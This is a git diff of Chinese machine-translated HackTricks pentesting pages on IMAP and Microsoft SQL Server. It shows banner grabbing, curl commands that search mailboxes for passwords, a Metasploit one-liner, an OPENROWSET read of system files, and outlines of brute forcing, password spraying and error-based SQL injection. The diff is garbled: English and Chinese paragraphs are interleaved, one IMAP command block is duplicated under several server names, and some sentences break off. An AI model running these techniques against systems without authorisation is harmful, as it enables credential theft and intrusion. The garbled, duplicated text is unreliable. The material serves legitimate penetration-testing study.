* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 你在**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,9 +16,17 @@
</details>
## Internet Message Access Protocol
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
正如其名称所示IMAP允许您在任何地方**访问您的电子邮件**;大部分时间,它是通过互联网访问的。基本上,电子邮件**消息存储在服务器上**。每当您检查收件箱时您的电子邮件客户端会联系服务器将您与您的消息连接起来。当您使用IMAP阅读电子邮件时您实际上**并没有下载**或存储它在您的计算机上;相反,您是**从服务器上阅读**它。因此,您可以使用**多个不同的设备**检查电子邮件,而不会错过任何内容。
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Internet消息访问协议
正如其名称所示IMAP允许您在任何地方**访问您的电子邮件**;大部分时间,它通过互联网进行访问。基本上,电子邮件**消息存储在服务器上**。每当您检查收件箱时您的电子邮件客户端会联系服务器将您与您的消息连接起来。当您使用IMAP阅读电子邮件时您实际上并没有将其下载或存储在计算机上相反您是**从服务器上阅读它**。因此,您可以使用**多个不同的设备**检查电子邮件,而不会错过任何内容。
默认情况下IMAP协议在两个端口上工作
@ -30,13 +38,19 @@ PORT STATE SERVICE REASON
```
## 横幅抓取
Banner grabbing横幅抓取是一种用于获取目标主机上运行的服务版本信息的技术。通过发送特定的请求,攻击者可以从服务的响应中提取有关服务类型、版本号和其他相关信息。这些信息对于攻击者来说非常有价值,因为它们可以帮助攻击者了解目标系统的弱点和漏洞
Banner grabbing横幅抓取是一种用于获取目标主机上运行的网络服务版本信息的技术。在渗透测试中,横幅抓取是一项重要的任务,因为它可以帮助我们了解目标系统上运行的服务及其版本号
在IMAPInternet Mail Access Protocol互联网邮件访问协议的情况下攻击者可以使用Banner grabbing技术来识别目标主机上运行的IMAP服务器的版本。通过发送特定的IMAP命令攻击者可以从服务器的响应中提取有关IMAP服务器的信息例如版本号和支持的功能
横幅抓取的过程通常涉及向目标主机发送特定的网络请求,以获取服务的响应。这些响应通常包含有关服务的详细信息,如服务名称、版本号和其他相关信息。通过分析这些响应,我们可以确定目标主机上运行的服务及其版本,从而为后续的渗透测试活动提供有价值的信息
Banner grabbing是一种非侵入性的技术因为它不会对目标系统造成任何实质性的影响。然而攻击者可以利用从Banner grabbing中获得的信息来进行更有针对性的攻击例如利用已知的漏洞或弱点来入侵目标系统
横幅抓取可以使用多种工具和技术来实现。常用的工具包括Telnet、Netcat和Nmap等。这些工具可以通过发送特定的请求来获取服务的响应并将响应中的信息提取出来进行分析
为了防止Banner grabbing攻击系统管理员可以采取一些措施例如禁用服务版本信息的显示、定期更新服务以修复已知的漏洞并使用防火墙来限制对敏感服务的访问。
在进行横幅抓取时,需要注意以下几点:
- 选择合适的工具和技术,以确保能够准确地获取服务的版本信息。
- 遵守法律和道德规范,在进行横幅抓取时不要侵犯目标系统的合法权益。
- 将横幅抓取的结果与其他信息进行综合分析,以获取更全面的目标系统信息。
通过横幅抓取,渗透测试人员可以更好地了解目标系统上运行的网络服务及其版本信息,从而为后续的渗透测试活动提供有价值的线索和信息。
```bash
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
@ -52,7 +66,7 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
或者使用nmap插件`imap-ntlm-info.nse`来**自动化**这个过程。
或者使用nmap插件`imap-ntlm-info.nse`来自动化此过程。
### [IMAP暴力破解](../generic-methodologies-and-resources/brute-force.md#imap)
@ -107,179 +121,37 @@ A1 LOGOUT
### 进化
```bash
nc -C imap.example.com 143
```
IMAP is a widely-used protocol for accessing email. It is commonly used by email clients to retrieve messages from a mail server. IMAP allows users to access their email from multiple devices and keeps the email synchronized across all devices.
```bash
a001 LOGIN user pass
```
IMAP是一种广泛使用的用于访问电子邮件的协议。它通常被电子邮件客户端用于从邮件服务器检索邮件。IMAP允许用户从多个设备访问其电子邮件并在所有设备上保持电子邮件同步。
```bash
a002 SELECT INBOX
```
Evolution is an open-source email client that supports the IMAP protocol. It is available for Linux and Unix-like operating systems. Evolution provides a user-friendly interface for managing email accounts and has features such as email filtering, search, and encryption.
```bash
a003 FETCH 1 BODY[]
```
Evolution是一个支持IMAP协议的开源电子邮件客户端。它适用于Linux和类Unix操作系统。Evolution提供了一个用户友好的界面来管理电子邮件帐户并具有诸如电子邮件过滤、搜索和加密等功能。
```bash
a004 LOGOUT
```
### IMAP Pentesting
### Thunderbird
When conducting a penetration test on an IMAP server, there are several areas that can be targeted for vulnerabilities. These include:
```bash
nc -C imap.example.com 143
```
- User enumeration: Attackers can attempt to enumerate valid usernames on the server by brute-forcing or using other techniques.
- Password guessing: Attackers can try to guess weak passwords for user accounts on the server.
- Man-in-the-middle attacks: Attackers can intercept and modify the communication between the email client and the server to gain unauthorized access or steal sensitive information.
- Command injection: Attackers can exploit vulnerabilities in the IMAP server software to execute arbitrary commands on the server.
- Denial of Service (DoS) attacks: Attackers can overload the server with a large number of requests, causing it to become unresponsive or crash.
```bash
a001 LOGIN user pass
```
### IMAP Pentesting Tools
```bash
a002 SELECT INBOX
```
There are several tools available for pentesting IMAP servers. Some popular ones include:
```bash
a003 FETCH 1 BODY[]
```
- Nmap: A network scanning tool that can be used to discover open IMAP ports on a server.
- Hydra: A password cracking tool that can be used to guess weak passwords for IMAP accounts.
- Wireshark: A network protocol analyzer that can be used to capture and analyze the traffic between the email client and the server.
- Metasploit: A penetration testing framework that includes modules for testing IMAP servers for vulnerabilities.
- OWASP ZAP: An open-source web application security scanner that can be used to test the security of web-based email clients that use IMAP.
```bash
a004 LOGOUT
```
### Conclusion
### Dovecot
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
### Cyrus
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
### UW-IMAP
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
### Courier
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
### Zimbra
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
### Exchange
```bash
nc -C imap.example.com 143
```
```bash
a001 LOGIN user pass
```
```bash
a002 SELECT INBOX
```
```bash
a003 FETCH 1 BODY[]
```
```bash
a004 LOGOUT
```
IMAP is a widely-used protocol for accessing email, and it is important to ensure the security of IMAP servers. By conducting penetration tests and using appropriate tools, vulnerabilities can be identified and mitigated, helping to protect sensitive information and prevent unauthorized access.
```
apt install evolution
```
@ -302,7 +174,7 @@ $ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
这个搜索的结果是一组邮件索引。
也可以提供更复杂的搜索条件。例如,在邮件正文中搜索包含密码的草稿:
也可以提供更复杂的搜索条件。例如,在邮件正文中搜索带有密码的草稿:
```bash
$ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
@ -317,12 +189,12 @@ $ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
邮件索引将与搜索操作返回的索引相同。
也可以使用`UID`(唯一标识符)来访问邮件,但是这种方式不太方便,因为搜索命令需要手动格式化。例如,使用UID搜索邮件
也可以使用`UID`(唯一标识符)来访问邮件,但是这种方式不太方便,因为搜索命令需要手动格式化。例如,
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
$ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
此外还可以下载消息的部分内容例如前5条消息的主题和发件人需要使用`-v`选项才能查看主题和发件人):
此外还可以下载消息的部分内容例如前5条消息的主题和发件人需要使用`-v`参数才能看到主题和发件人):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -335,8 +207,8 @@ done
```
## Shodan
* `port:143 CAPABILITY`端口143 CAPABILITY
* `port:993 CAPABILITY`端口993 CAPABILITY
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
## HackTricks 自动命令
```
@ -368,18 +240,25 @@ Description: IMAP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您能更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>

View file

@ -4,30 +4,21 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**无需延迟获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才启动。在漏洞经过验证后您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在web3渗透测试中获得经验**\
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
***
## 基本信息
@ -42,7 +33,7 @@ HackenProof的赏金只有在客户存入奖励预算后才启动。在漏洞经
* **master数据库**记录SQL Server实例的所有系统级信息。
* **msdb数据库**被SQL Server Agent用于调度警报和作业。
* **model数据库**用作在SQL Server实例上创建的所有数据库的模板。对model数据库进行的修改,如数据库大小、排序规则、恢复模型和其他数据库选项,将应用于之后创建的任何数据库。
* **model数据库**用作在SQL Server实例上创建的所有数据库的模板。对模型数据库进行的修改,如数据库大小、排序规则、恢复模型和其他数据库选项,将应用于之后创建的任何数据库。
* **Resource数据库**是一个只读数据库包含SQL Server附带的系统对象。系统对象在Resource数据库中物理上持久存在但在每个数据库的sys模式中逻辑上出现。
* **tempdb数据库**:是一个用于保存临时对象或中间结果集的工作空间。
@ -112,101 +103,69 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
```
#### 常见枚举
##### Service Detection
##### 服务检测
To begin with, we need to identify if the target system is running Microsoft SQL Server. We can use various methods to achieve this.
首先我们需要确定目标系统是否正在运行Microsoft SQL Server。我们可以使用各种方法来实现这一点。
One common method is to use a port scanning tool like Nmap to scan for open ports on the target system. By default, Microsoft SQL Server listens on TCP port 1433. If this port is open, it indicates that the system may be running Microsoft SQL Server.
一个常见的方法是使用端口扫描工具如Nmap扫描目标系统上的开放端口。默认情况下Microsoft SQL Server监听TCP端口1433。如果该端口是开放的说明系统可能正在运行Microsoft SQL Server。
Another method is to use banner grabbing to obtain information about the running services on the target system. This can be done using tools like Telnet or Netcat. By connecting to the target system on port 1433 and examining the banner response, we can determine if Microsoft SQL Server is running.
另一种方法是使用横幅抓取来获取有关目标系统上正在运行的服务的信息。可以使用Telnet或Netcat等工具来完成。通过连接到目标系统的1433端口并检查横幅响应我们可以确定是否正在运行Microsoft SQL Server。
##### Version Detection
##### 版本检测
To determine the version of Microsoft SQL Server running on a target system, you can use the following methods:
Once we have identified that the target system is running Microsoft SQL Server, the next step is to determine the version of the server. This information can be useful in identifying potential vulnerabilities and selecting appropriate exploitation techniques.
要确定目标系统上运行的 Microsoft SQL Server 版本,可以使用以下方法:
一旦我们确定目标系统正在运行Microsoft SQL Server下一步是确定服务器的版本。这些信息可以帮助我们识别潜在的漏洞并选择适当的利用技术。
- **Banner Grabbing**: Retrieve the server banner by connecting to the SQL Server service on the default port (1433) and analyzing the response. This can be done using tools like `telnet` or `nc`.
One way to determine the version is by querying the server using SQL statements. For example, we can execute the following query to retrieve the version information:
- **横幅抓取**通过连接到默认端口1433上的 SQL Server 服务并分析响应来获取服务器横幅。可以使用 `telnet``nc` 等工具来完成此操作。
确定版本的一种方法是使用SQL语句查询服务器。例如我们可以执行以下查询来检索版本信息
- **SQL Server Configuration Manager**: On Windows systems, you can use the SQL Server Configuration Manager to view the installed SQL Server instances and their versions.
```sql
SELECT @@VERSION;
```
- **SQL Server 配置管理器**:在 Windows 系统上,可以使用 SQL Server 配置管理器查看已安装的 SQL Server 实例及其版本。
This query will return the version information of the Microsoft SQL Server.
- **SQL Server Management Studio (SSMS)**: If you have access to the SQL Server Management Studio, you can connect to the target server and check the version information in the Object Explorer.
此查询将返回Microsoft SQL Server的版本信息。
- **SQL Server Management Studio (SSMS)**:如果可以访问 SQL Server Management Studio则可以连接到目标服务器并在对象资源管理器中检查版本信息。
Another method is to use tools like Nmap or Metasploit to perform version detection. These tools have built-in scripts and modules that can identify the version of Microsoft SQL Server running on the target system.
##### Service Enumeration
另一种方法是使用Nmap或Metasploit等工具进行版本检测。这些工具具有内置的脚本和模块可以识别目标系统上运行的Microsoft SQL Server的版本。
##### 服务枚举
##### Enumeration Tools
Once you have identified the SQL Server version, you can proceed with service enumeration to gather more information about the target system. Here are some common methods:
##### 枚举工具
一旦确定了 SQL Server 版本,可以继续进行服务枚举以收集有关目标系统的更多信息。以下是一些常见的方法:
There are several tools available for enumerating Microsoft SQL Server during a penetration test. Some popular tools include:
- **Port Scanning**: Use a port scanning tool like `nmap` to scan for open ports on the target system. By default, SQL Server listens on port 1433, but it can be configured to use a different port.
在渗透测试期间有几种可用于枚举Microsoft SQL Server的工具。一些常用的工具包括
- **端口扫描**:使用 `nmap` 等端口扫描工具扫描目标系统上的开放端口。默认情况下SQL Server 监听端口 1433但可以配置为使用其他端口。
- **Nmap**: A powerful port scanning tool that can be used to detect open ports and identify running services, including Microsoft SQL Server.
- **SQL Server Browser Service**: If the SQL Server Browser service is running, it can provide information about the SQL Server instances running on the system, including their names and ports.
- **Nmap**一个强大的端口扫描工具可用于检测开放端口和识别运行的服务包括Microsoft SQL Server。
- **SQL Server 浏览器服务**:如果 SQL Server 浏览器服务正在运行,它可以提供有关系统上运行的 SQL Server 实例的信息,包括它们的名称和端口。
- **Metasploit**: A penetration testing framework that includes modules for version detection and exploitation of Microsoft SQL Server.
- **SQL Server Configuration Manager**: Use the SQL Server Configuration Manager to view the network configuration of the SQL Server instances, including the ports they are listening on.
- **Metasploit**一个渗透测试框架包括用于版本检测和利用Microsoft SQL Server的模块。
- **SQL Server 配置管理器**:使用 SQL Server 配置管理器查看 SQL Server 实例的网络配置,包括它们正在监听的端口。
- **SQLMap**: An open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications.
- **SQL Server Management Studio (SSMS)**: Connect to the target server using SSMS and explore the Object Explorer to gather information about the SQL Server instances, including their names and ports.
- **SQLMap**一个开源的渗透测试工具可以自动化检测和利用Web应用程序中的SQL注入漏洞的过程。
- **SQL Server Management Studio (SSMS)**:使用 SSMS 连接到目标服务器,并在对象资源管理器中探索以收集有关 SQL Server 实例的信息,包括它们的名称和端口。
These tools can be used to gather information about the target Microsoft SQL Server, such as the version, databases, tables, and columns, which can be helpful in further exploitation and privilege escalation.
##### User Enumeration
##### 用户枚举
To enumerate users in a Microsoft SQL Server, you can use the following techniques:
要在 Microsoft SQL Server 中枚举用户,可以使用以下技术:
- **SQL Server Management Studio (SSMS)**: Connect to the target server using SSMS and navigate to the "Security" folder in the Object Explorer. Here, you can view the existing logins and their associated roles.
- **SQL Server Management Studio (SSMS)**:使用 SSMS 连接到目标服务器,并在对象资源管理器中导航到“安全性”文件夹。在这里,可以查看现有的登录名及其关联的角色。
- **SQL Server System Tables**: Query the system tables like `sys.syslogins` or `sys.server_principals` to retrieve information about the users and their permissions.
- **SQL Server 系统表**:查询系统表,如 `sys.syslogins``sys.server_principals`,以检索有关用户及其权限的信息。
- **SQL Server Extended Stored Procedures**: Some extended stored procedures like `xp_logininfo` can be used to gather information about the users and their roles.
- **SQL Server 扩展存储过程**:一些扩展存储过程,如 `xp_logininfo`,可用于收集有关用户及其角色的信息。
- **SQL Injection**: If the application interacting with the SQL Server is vulnerable to SQL injection, you can use SQL injection techniques to extract user information from the database.
- **SQL 注入**:如果与 SQL Server 交互的应用程序容易受到 SQL 注入攻击,可以使用 SQL 注入技术从数据库中提取用户信息。
##### Password Enumeration
##### 密码枚举
To enumerate passwords in a Microsoft SQL Server, you can try the following methods:
要在 Microsoft SQL Server 中枚举密码,可以尝试以下方法:
- **Brute-Force Attacks**: Use a tool like `hydra` or `medusa` to perform brute-force attacks against the SQL Server login page or the SQL Server service itself.
- **暴力破解攻击**:使用 `hydra``medusa` 等工具对 SQL Server 登录页面或 SQL Server 服务本身进行暴力破解攻击。
- **Password Spraying**: Instead of trying multiple passwords for a single user, try a single password against multiple user accounts. This can be done using tools like `spray` or `spraywmi`.
- **密码喷洒**:不是为单个用户尝试多个密码,而是针对多个用户帐户尝试单个密码。可以使用 `spray``spraywmi` 等工具来完成此操作。
- **Default Passwords**: Try common default passwords that are often used for SQL Server installations, such as "sa" with a blank password or "sa" with "sa" as the password.
- **默认密码**:尝试常用的默认密码,这些密码通常用于 SQL Server 安装,例如空密码的 "sa" 或密码为 "sa" 的 "sa"。
- **Password Hash Cracking**: If you have access to the password hashes stored in the SQL Server, you can use tools like `hashcat` or `John the Ripper` to crack the hashes and obtain the plaintext passwords.
- **密码哈希破解**:如果可以访问存储在 SQL Server 中的密码哈希值,可以使用 `hashcat``John the Ripper` 等工具破解哈希值并获取明文密码。
- **Password Reset**: If you have administrative access to the SQL Server, you can reset the passwords for the user accounts using the SQL Server Management Studio or the `ALTER LOGIN` statement.
- **密码重置**:如果具有 SQL Server 的管理员访问权限,可以使用 SQL Server Management Studio 或 `ALTER LOGIN` 语句重置用户帐户的密码。
这些工具可以用于收集有关目标Microsoft SQL Server的信息例如版本、数据库、表和列这对进一步的利用和权限提升非常有帮助。
```sql
# Get version
select @@version;
@ -380,7 +339,7 @@ EXECUTE sp_OADestroy @OLE
```
### **使用 OPENROWSET 读取文件**
默认情况下,`MSSQL` 允许对操作系统中任何具有读取权限的文件进行读取。我们可以使用以下 SQL 查询语句:
默认情况下,`MSSQL` 允许在操作系统中具有读取权限的任何文件上进行读取。我们可以使用以下 SQL 查询语句:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -391,25 +350,21 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
#### 基于错误的SQLi攻击向量
This technique involves exploiting SQL injection vulnerabilities by manipulating the application to generate error messages that reveal sensitive information about the database structure or data. By injecting malicious SQL statements, an attacker can force the application to produce error messages that provide valuable insights for further exploitation.
This technique involves exploiting SQL injection vulnerabilities by manipulating the application to generate error messages that reveal sensitive information about the database structure or data. By injecting malicious SQL statements, an attacker can force the application to produce error messages that provide valuable insights into the underlying database.
这种技术涉及通过操纵应用程序生成错误消息来利用SQL注入漏洞揭示有关数据库结构或数据的敏感信息。通过注入恶意的SQL语句攻击者可以迫使应用程序生成错误消息,从而为进一步的攻击提供有价值的信息
这种技术涉及利用SQL注入漏洞通过操纵应用程序生成错误消息来揭示有关数据库结构或数据的敏感信息。通过注入恶意的SQL语句攻击者可以迫使应用程序产生错误消息,从而提供有关底层数据库的有价值的见解
The error-based vector relies on the fact that when an SQL query encounters an error, the database management system (DBMS) often provides detailed error messages that can be leveraged by an attacker. These error messages may contain information such as the SQL query being executed, the database version, or even the underlying file system structure.
The error-based vector for SQL injection can be used to extract information such as table names, column names, and even data from the database. By carefully crafting SQL statements that intentionally cause errors, an attacker can gather valuable information that can be used for further exploitation.
基于错误的攻击向量依赖于一个事实即当SQL查询遇到错误时数据库管理系统DBMS通常会提供详细的错误消息攻击者可以利用这些错误消息。这些错误消息可能包含正在执行的SQL查询、数据库版本甚至底层文件系统结构等信息
SQL注入的基于错误的向量可以用于提取诸如表名、列名甚至数据库中的数据等信息。通过精心构造故意引发错误的SQL语句攻击者可以收集有价值的信息以便进一步利用
To exploit this vulnerability, an attacker can intentionally inject malformed SQL statements into user input fields or query parameters. If the application is vulnerable, it will execute the injected SQL statement and generate an error message that can be used to extract valuable information.
It is important to note that error-based SQL injection attacks can be time-consuming and may require trial and error to identify the correct syntax and exploit the vulnerability successfully. However, they can be highly effective in extracting sensitive information from a vulnerable application.
为了利用这个漏洞攻击者可以故意将格式错误的SQL语句注入到用户输入字段或查询参数中。如果应用程序存在漏洞它将执行注入的SQL语句并生成一个错误消息可以用来提取有价值的信息
需要注意的是基于错误的SQL注入攻击可能耗时并且可能需要反复尝试以识别正确的语法并成功利用漏洞。然而它们在从易受攻击的应用程序中提取敏感信息方面非常有效
For example, an attacker can inject a single quote (') character to cause a syntax error in the SQL query. The resulting error message may reveal the structure of the query, allowing the attacker to infer the table and column names. With this information, the attacker can further exploit the vulnerability by crafting specific SQL statements to extract or modify data.
To protect against error-based SQL injection attacks, it is crucial to implement proper input validation and parameterized queries in the application code. Regular security assessments and penetration testing can also help identify and mitigate SQL injection vulnerabilities before they can be exploited by attackers.
例如,攻击者可以注入一个单引号('字符以在SQL查询中引发语法错误。生成的错误消息可能会揭示查询的结构使攻击者能够推断出表和列名。有了这些信息攻击者可以通过构造特定的SQL语句来进一步利用漏洞提取或修改数据。
It is important to note that error-based SQL injection attacks can be time-consuming and may require trial and error to identify the correct injection points and exploit the vulnerability successfully. Additionally, this technique may not work if the application is configured to suppress detailed error messages or if the attacker does not have access to the error messages.
需要注意的是基于错误的SQL注入攻击可能耗时并且可能需要反复尝试才能确定正确的注入点并成功利用漏洞。此外如果应用程序配置为禁止显示详细的错误消息或者攻击者无法访问错误消息则此技术可能无法生效。
为了防止基于错误的SQL注入攻击关键是在应用程序代码中实施适当的输入验证和参数化查询。定期进行安全评估和渗透测试也可以帮助在攻击者利用之前识别和减轻SQL注入漏洞。
```
